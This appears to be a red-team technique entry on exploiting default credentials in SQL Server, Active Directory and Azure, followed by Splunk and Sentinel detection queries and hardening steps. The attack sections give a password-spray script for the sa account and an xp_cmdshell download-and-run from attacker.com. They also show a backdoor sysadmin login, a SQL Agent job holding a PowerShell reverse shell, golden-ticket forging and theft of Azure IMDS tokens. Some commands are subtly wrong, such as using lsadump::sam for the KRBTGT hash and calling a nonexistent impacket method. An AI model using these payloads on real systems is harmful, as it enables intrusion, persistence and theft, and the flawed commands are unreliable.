| Attribute | Details |
|---|---|
| Technique ID | IA-VALID-001 |
| MITRE ATT&CK v18.1 | T1078.001 - Valid Accounts: Default Accounts |
| Tactic | Initial Access |
| Platforms | Windows AD, Entra ID, Azure, SQL Server, IoT, Network Devices |
| Severity | Critical |
| CVE | N/A (Design/Configuration) |
| Technique Status | ACTIVE (Default creds remain #1 exploit vector globally) |
| Last Verified | 2025-12-30 |
| Affected Versions | All systems with unchanged default credentials |
| Patched In | Requires manual remediation (force password change on first login) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No specific Atomic test framework for default credential scanning, (2) No signature-based detection (requires behavioral analysis). All section numbers have been dynamically renumbered based on applicability.
Concept: Default credentials—built-in usernames and passwords shipped with operating systems, applications, and hardware—remain the most commonly exploited vulnerability worldwide. Despite decades of security warnings, administrators frequently fail to change default credentials post-installation, leaving systems vulnerable to unauthenticated access. Critical targets include SQL Server’s sa account, Windows Administrator/Guest accounts, Azure Managed Identities with over-provisioned permissions, KRBTGT (the Kerberos master account), and IoT devices. In 2025, attackers no longer need zero-days; they simply log in using factory-set credentials.[185][188]
Attack Surface: SQL Server sa account, Windows default accounts (Administrator, Guest, DefaultAccount), KRBTGT, Azure Managed Identities, Automation Account Run As credentials, IoT devices (printers, cameras, HVAC), network appliances (routers, firewalls), storage account keys, application connection strings embedded in code.
Business Impact: Unauthenticated system access, full database compromise, Active Directory domain takeover (via KRBTGT), cloud subscription compromise (via Managed Identities), ransomware deployment, data exfiltration at scale. Recent data shows 160% year-over-year increase in credential compromise incidents, with 46% of enterprise passwords already cracked.[188]
Technical Context: Default credential exploitation requires no sophisticated attack techniques—simply attempting known username/password combinations against accessible endpoints. Success rate is historically high due to poor change management practices. Once accessed, attackers inherit all privileges of the default account, often enabling lateral movement, persistence, and privilege escalation.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Windows Server 2022 | 2.2.1 | Ensure “Administrator” account is disabled (Default Accounts) |
| CIS Windows Server 2022 | 2.2.2 | Ensure “Guest” account is disabled |
| NIST 800-53 | AC-2 | Account Management (default account configuration) |
| NIST 800-53 | IA-2 | Authentication (require strong auth for defaults) |
| PCI DSS | 2.1 | Always change vendor-supplied defaults |
| PCI DSS | 6.3.1 | Password must be strong |
| GDPR | Art. 32 | Security of Processing (account management) |
| ISO 27001 | A.9.2.1 | User registration and access provisioning |
| ISO 27001 | A.9.4.3 | Password management system |
Supported Versions:
Tools:
# Scan for common services with default ports
nmap -p 1433,3306,5432,27017,389,445,22 <target_ip>
# Identified services:
# 1433/tcp: SQL Server
# 445/tcp: SMB (Windows/AD)
# 389/tcp: LDAP (Directory Services)
# 3389/tcp: RDP (Remote Desktop)
# PowerShell: Enumerate SQL Server instances on network
[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SMO') | out-null
$instances = [Microsoft.SqlServer.Management.Smo.SmoApplication]::EnumAvailableSqlServers()
$instances
# Use sqlcmd to enumerate SQL Server
sqlcmd -L
# Expected output shows available SQL Server instances
# Attempt connection with default sa credential (often blank or "sa")
sqlcmd -S <server> -U sa -P "" # Try blank password
sqlcmd -S <server> -U sa -P "sa" # Try common defaults
sqlcmd -S <server> -U sa -P "password"
sqlcmd -S <server> -U sa -P "123456"
# If successful, prompt appears:
# 1> SELECT @@version
# 2> GO
# (Returns SQL Server version - attacker has full access)
# List all local accounts
Get-LocalUser
# Check if Administrator is enabled
Get-LocalUser -Name "Administrator" | Select-Object Enabled, PasswordLastSet
# Check if Guest is enabled (should be disabled)
Get-LocalUser -Name "Guest" | Select-Object Enabled
# Check for hidden/disabled accounts
Get-LocalUser | Where-Object {$_.Enabled -eq $false} | Select-Object Name, FullName
# From compromised Azure resource (VM, Function App, etc.)
# Query Instance Metadata Service (IMDS) to get managed identity token
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
-H "Metadata:true"
# Response contains access token for Managed Identity
# {
# "access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
# "token_type": "Bearer",
# "expires_in": "3599"
# }
# If received = Managed Identity is accessible (potential privilege escalation via token)
Supported Versions: SQL Server 2005 - 2022
Objective: Locate externally accessible SQL Server with sa account enabled
Command (Network Scan):
# Scan for SQL Server on port 1433
nmap -p 1433 -sV <target_network>/24
# Expected output:
# 192.168.1.100 1433/tcp open mssql-s Microsoft SQL Server 2019 15.00.2000
# Enumeration via SMB Browser (if available)
python3 -c "from impacket.smb import SMBConnection; print(SMBConnection.EnumAvailableSqlServers())"
Objective: Authenticate to SQL Server as sa with default/weak password
Command (sqlcmd):
# Attempt with blank password (common in development environments)
sqlcmd -S 192.168.1.100 -U sa -P ""
# Attempt with common defaults
sqlcmd -S 192.168.1.100 -U sa -P "password"
sqlcmd -S 192.168.1.100 -U sa -P "sa"
sqlcmd -S 192.168.1.100 -U sa -P "sql123"
# Expected successful output:
# 1>
Command (PowerShell Brute-Force):
# Automated password spray
$passwords = @("", "password", "sa", "sql123", "P@ssw0rd", "123456")
$server = "192.168.1.100"
foreach ($pass in $passwords) {
try {
$conn = New-Object System.Data.SqlClient.SqlConnection
$conn.ConnectionString = "Server=$server;User ID=sa;Password=$pass;Connection Timeout=5"
$conn.Open()
Write-Host "[+] SUCCESS! sa password is: $pass"
$conn.Close()
break
} catch {
Write-Host "[-] Failed: $pass"
}
}
Expected Output (Success):
[+] SUCCESS! sa password is: password
Objective: Leverage sa privileges to execute system commands or data exfiltration
Command (T-SQL - Database Access):
-- Query sensitive data
SELECT @@version; -- Get SQL version
SELECT @@servername; -- Get server name
SELECT name FROM sys.databases; -- List all databases
SELECT * FROM [master].[sys].[sysusers]; -- List users
SELECT * FROM [master].[sys].[sql_logins]; -- List logins
SELECT * FROM [sensitive_table] WHERE [credit_card] IS NOT NULL; -- Exfiltrate data
Command (T-SQL - Remote Code Execution via Extended Stored Procs):
-- Enable advanced options (may be restricted)
sp_configure 'show advanced options', 1;
RECONFIGURE;
-- Enable xp_cmdshell
sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Execute system command
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';
Expected Output:
whoami output:
DOMAIN\sa
ipconfig output:
192.168.1.100 / 255.255.255.0
Objective: Maintain access even if initial compromise is remediated
Command (T-SQL - Create Backdoor Account):
-- Create backdoor sa account (if not already compromised)
CREATE LOGIN [backdoor_sa] WITH PASSWORD = 'BackdoorP@ss123!';
ALTER SERVER ROLE sysadmin ADD MEMBER [backdoor_sa];
-- Create SQL Server Agent job for reverse shell
USE msdb;
EXEC sp_add_job @job_name = 'SystemMaintenance';
EXEC sp_add_jobstep @job_name = 'SystemMaintenance',
@step_name = 'RunMaintenanceScript',
@command = 'powershell.exe -Command "while($true){$client=New-Object System.Net.Sockets.TcpClient(''attacker.com'',4444);$stream=$client.GetStream();[byte[]]$buffer=0..65535|%{0};while(($i=$stream.Read($buffer,0,$buffer.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0,$i);$output=iex $data 2>&1;$output|Out-String|%{$client.GetStream().Write(([text.encoding]::ASCII.GetBytes($_)),0,$_.Length)}}}',
@subsystem = 'PowerShell';
-- Schedule job to run every hour
EXEC sp_attach_schedule @job_name = 'SystemMaintenance', @schedule_name = 'HourlyMaintenance';
Impact:
Supported Versions: All Active Directory domains
Objective: Identify status of default accounts (enabled/disabled, password age)
Command (PowerShell - AD Enumeration):
# Connect to AD
Import-Module ActiveDirectory
# Check Administrator account status
Get-ADUser -Identity "Administrator" -Properties Enabled, PasswordLastSet, LastLogonDate |
Select-Object Name, Enabled, PasswordLastSet, LastLogonDate
# Check Guest account status
Get-ADUser -Identity "Guest" -Properties Enabled, PasswordLastSet
# Check KRBTGT account (Kerberos master key)
Get-ADUser -Identity "krbtgt" -Properties PasswordLastSet, Enabled
# Should show PasswordLastSet within last 180 days (if rotated properly)
# List all disabled accounts (attackers target these - less likely to be monitored)
Get-ADUser -Filter {Enabled -eq $False} -Properties LastLogonDate |
Where-Object {$_.LastLogonDate -lt (Get-Date).AddDays(-90)}
Expected Output (Vulnerable):
Administrator account enabled and last password change > 1 year ago
KRBTGT last rotated > 180 days ago (or never)
Multiple disabled accounts with no recent logons (reactivation risk)
Objective: Create forged Kerberos TGT for domain persistence
Vulnerability Context: If KRBTGT password is compromised, attacker can forge any Kerberos ticket.[187]
Command (Tools - Mimikatz/Rubeus):
# Step 1: Dump KRBTGT hash (requires Domain Admin)
# Via Mimikatz (Windows):
privilege::debug
lsadump::sam # Get KRBTGT hash
exit
# Output example:
# KRBTGT_HASH: e19ccf75ee54e06b06a5907af13cef42
# Step 2: Create Golden Ticket (valid for 10 years)
kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:e19ccf75ee54e06b06a5907af13cef42 /ticket:golden.kirbi
# Step 3: Inject ticket into session
kerberos::ptt golden.kirbi
# Step 4: Use forged ticket to access any resource
dir \\dc.example.com\SYSVOL # Access DC shares
psexec \\dc.example.com cmd.exe # Execute on DC
Expected Behavior:
Supported Versions: All Azure VMs, Function Apps, App Services with Managed Identity
Objective: Gain execution context on Azure resource with Managed Identity
Prerequisite Vectors:
Assumed Starting Point: Code execution on Azure VM or App Service with system/root privileges
Objective: Obtain access token for Managed Identity
Command (From Azure Resource):
# Query Instance Metadata Service (IMDS) - accessible only from within Azure
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
-H "Metadata:true" \
-s | jq .access_token -r > /tmp/token.txt
# Alternatively with PowerShell:
$token = (Invoke-RestMethod -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com' `
-Headers @{Metadata="true"}).access_token
# Decode token to see claims (not to break security, just inspect)
echo "Token obtained for: $(jwt decode $token | grep 'appid')"
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"client_id": "12345678-1234-1234-1234-123456789012",
"token_type": "Bearer",
"expires_in": "3599"
}
Objective: Authenticate to Azure Management Plane as the Managed Identity
Command (Azure CLI):
# Authenticate using stolen token
az login --service-principal -u <CLIENT_ID> --allow-no-subscriptions --tenant <TENANT_ID>
# OR directly with token:
az cloud set --name AzureCloud
az account set --subscription <SUBSCRIPTION_ID>
# Enumerate accessible resources
az resource list --output table
# Output: List of resources the Managed Identity can access (depends on role)
# Example: Access Storage Account (if Managed Identity has Storage Blob Data Reader role)
az storage account list --output table
az storage blob list -c <container> --account-name <storage_account>
Command (Python/SDK Alternative):
from azure.identity import ManagedIdentityCredential
from azure.storage.blob import BlobServiceClient
# Create credential using Managed Identity token
credential = ManagedIdentityCredential(client_id="<CLIENT_ID>")
# Access storage account
client = BlobServiceClient(account_url="https://<account>.blob.core.windows.net", credential=credential)
blobs = client.get_container_client("<container>").list_blobs()
for blob in blobs:
print(blob.name) # List all accessible blobs
Impact:
Rule Configuration:
windows, sql_server_auditmssql:audit, mssql:agent:jobuser, login_name, host, event_idSPL Query:
sourcetype="mssql:audit"
(login_name="sa" OR login_name="dbo")
AND (action="SUCCESSFUL_LOGIN" OR action="FAILED_LOGIN")
| stats count as LoginAttempts by login_name, host, EventTime
| where count > 3 OR (count >= 1 AND _time NOT IN [09:00-17:00])
Rule Configuration:
windowsWinEventLog:SecurityEventCode, Account_Name, Logon_Type, Workstation_NameSPL Query:
sourcetype="WinEventLog:Security"
EventCode=4624
(Account_Name="*\\Administrator" OR Account_Name="*\\Guest")
LogonType IN (2, 10) # Interactive or Remote Interactive
| stats count by Account_Name, Source_Network_Address, Workstation_Name
Rule Configuration:
SecurityEvent, AuditLogsAccount, SourceIpAddress, TimeGeneratedKQL Query:
SecurityEvent
| where EventID == 4624 and Account contains "sa"
| extend SourceIP = SourceIpAddress
| summarize LoginCount = count() by Account, SourceIP, Computer
| where LoginCount > 1
Rule Configuration:
AuditLogsTargetResources, ActivityDisplayName, InitiatedByKQL Query:
AuditLogs
| where TargetResources contains "krbtgt" and ActivityDisplayName contains "Reset"
| summarize ResetCount = count() by InitiatedBy, TargetResources, TimeGenerated
| where (ResetCount < 2) OR (ResetCount > 2) // Alert if not reset exactly twice (proper KRBTGT rotation = 2x resets with replication)
Alert Name: “Default Account Enabled and Active”
Alert Name: “SQL Server sa Account Password Not Changed”
Command (Disable Compromised Account):
# Disable SA account
ALTER LOGIN sa DISABLE;
# Or in Active Directory:
Disable-ADUser -Identity "Administrator"
# Revoke all sessions
# SQL Server: KILL <session_id>
# Windows: Logoff <session_id>
Command (Reset KRBTGT - Critical):
# Run Microsoft's KRBTGT reset script (must be run on DC)
# https://github.com/microsoft/KRBTGT
# Manual reset (twice, with replication):
# Step 1: Reset password once
$krbtgt = Get-ADUser -Identity krbtgt
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd$(Get-Random -Minimum 100000 -Maximum 999999)" -Force)
# Wait for replication (10+ minutes)
repadmin /replicate
# Step 2: Reset again
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd$(Get-Random -Minimum 100000 -Maximum 999999)" -Force)
# This invalidates ALL existing Golden Tickets
Command (Force Password Change):
# Force password change on next logon
Set-ADUser -Identity "Administrator" -ChangePasswordAtLogon $true
# Audit and disable unnecessary default accounts
Get-ADUser -Filter {Enabled -eq $True -and Name -like "Guest"} | Disable-ADAccount
1. Disable All Unnecessary Default Accounts
Manual Steps (Windows Server):
# Disable Guest account (should be disabled by default)
Disable-LocalUser -Name "Guest"
# Disable DefaultAccount
Disable-LocalUser -Name "DefaultAccount"
# Change Administrator password immediately post-installation
$AdminUser = Get-LocalUser -Name "Administrator"
$NewPassword = Read-Host -AsSecureString
$AdminUser | Set-LocalUser -Password $NewPassword
# Verify disabled:
Get-LocalUser | Select-Object Name, Enabled
Manual Steps (Active Directory):
Import-Module ActiveDirectory
# Disable Administrator account (use service accounts instead)
Disable-ADAccount -Identity "Administrator"
# Disable Guest
Disable-ADAccount -Identity "Guest"
# Verify:
Get-ADUser -Filter {Name -like "*Administrator*" -or Name -like "*Guest*"} | Select-Object Name, Enabled
2. Force KRBTGT Password Rotation (Every 180 Days)
Manual Steps:
# Reset KRBTGT password (twice, as per Microsoft guidance)
# Run on Domain Controller
# Step 1: First reset
$krbtgt = Get-ADUser -Identity krbtgt
$newPassword = ([System.Web.Security.Membership]::GeneratePassword(32, 8))
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $newPassword -Force)
# Wait 10 minutes for replication across all DCs
Start-Sleep -Seconds 600
repadmin /replicate
# Step 2: Second reset (invalidates cached tokens)
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText ([System.Web.Security.Membership]::GeneratePassword(32, 8)) -Force)
# Schedule this in Task Scheduler every 180 days
3. Disable SQL Server sa Account (or Set Complex Password)
Manual Steps (SQL Server Management Studio):
Manual Steps (T-SQL):
-- Disable SA
ALTER LOGIN [sa] DISABLE;
-- OR set complex password
ALTER LOGIN [sa] WITH PASSWORD = 'C0mpl3x!P@ssw0rd#2025'
4. Enforce MFA on All Accounts (Even Defaults)
Manual Steps (Entra ID):
5. Enable Comprehensive Audit Logging
Manual Steps (SQL Server):
-- Enable SQL Server audit
CREATE SERVER AUDIT AUDIT_LOGIN_ATTEMPTS
TO FILE (FILEPATH = N'C:\Audit\')
WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE);
-- Enable login audit
CREATE SERVER AUDIT SPECIFICATION AUDIT_SA_LOGIN
FOR SERVER AUDIT AUDIT_LOGIN_ATTEMPTS
ADD (SUCCESSFUL_LOGIN_GROUP) WHERE server_principal_name = 'sa';
ALTER SERVER AUDIT SPECIFICATION AUDIT_SA_LOGIN WITH (STATE = ON);
Manual Steps (Windows Event Logging):
# Enable advanced audit policy
auditpol /set /subcategory:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /subcategory:"Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] | Default Credential Exploitation |
| 2 | Persistence | [T1098 - Account Manipulation] | Create backdoor accounts, modify permissions |
| 3 | Privilege Escalation | [T1134 - Access Token Manipulation] | Use stolen tokens for escalation |
| 4 | Lateral Movement | [T1021 - Remote Services] | Use compromised account to access other systems |
| 5 | Credential Access | [T1003 - OS Credential Dumping] | Extract additional credentials from compromised system |
| 6 | Exfiltration | [T1005 - Data from Local System] | Extract sensitive data using default account privileges |
| Product | Default Username | Default Password | Port | |—|—|—|—| | SQL Server (SA) | sa | (blank) or “sa” | 1433 | | MySQL | root | (blank) | 3306 | | PostgreSQL | postgres | (blank) | 5432 | | Oracle | sys/system | oracle/manager | 1521 | | MongoDB | admin | (blank) | 27017 |
| Application | Default Username | Default Password | |—|—|—| | Tomcat | tomcat | tomcat | | Jenkins | admin | admin | | Cisco Router | cisco | cisco | | pfSense | admin | pfsense | | Ubiquiti UniFi | ubnt | ubnt |
| Service | Default Account | Risk | |—|—|—| | Managed Identity | system-assigned | Over-provisioned permissions | | Automation Account | Run As account | Default Contributor role | | Storage Account Keys | Account Key 1 | Long-lived (never rotated) | | VM Default User | azureuser | Often weak password |